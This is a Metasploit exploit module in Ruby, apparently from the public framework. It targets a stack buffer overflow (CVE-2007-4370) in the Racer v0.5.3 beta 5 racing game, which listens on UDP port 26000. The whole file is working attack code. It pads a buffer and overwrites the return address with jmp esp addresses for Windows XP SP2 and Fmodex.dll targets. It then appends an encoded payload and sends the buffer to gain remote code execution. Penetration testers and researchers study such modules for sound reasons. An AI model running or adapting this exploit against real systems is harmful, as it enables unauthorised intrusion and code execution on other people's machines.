##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Racer v0.5.3 Beta 5 Buffer Overflow',
        'Description' => %q{
          This module exploits the Racer Car and Racing Simulator game
          versions v0.5.3 beta 5 and earlier. Both the client and server listen
          on UDP port 26000. By sending an overly long buffer we are able to
          execute arbitrary code remotely.
        },
        'Author' => [ 'Trancek <trancek[at]yashira.org>' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2007-4370' ],
          [ 'OSVDB', '39601' ],
          [ 'EDB', '4283' ],
          [ 'BID', '25297' ],
        ],
        'Payload' => {
          'Space' => 1000,
          'BadChars' => "\x5c\x00",
          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
        },
        'DefaultOptions' => {
          'AllowWin32SEH' => true
        },
        'Platform' => 'win',
        'Targets' => [
          # Tested ok aushack 20090503
          [ 'Fmodex.dll - Universal', { 'Ret' => 0x10073FB7 } ], # jmp esp
          [ 'Win XP SP2 English', { 'Ret' => 0x77d8af0a } ],
          [ 'Win XP SP2 Spanish', { 'Ret' => 0x7c951eed } ],
        ],
        'DisclosureDate' => '2008-08-10',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(26000)
      ]
    )
  end

  def exploit
    connect_udp

    buf = Rex::Text.rand_text_alphanumeric(1001)
    buf << [target.ret].pack('V')
    buf << payload.encoded
    buf << Rex::Text.rand_text_alphanumeric(1196 - payload.encoded.length)

    udp_sock.put(buf)

    handler
    disconnect_udp
  end
end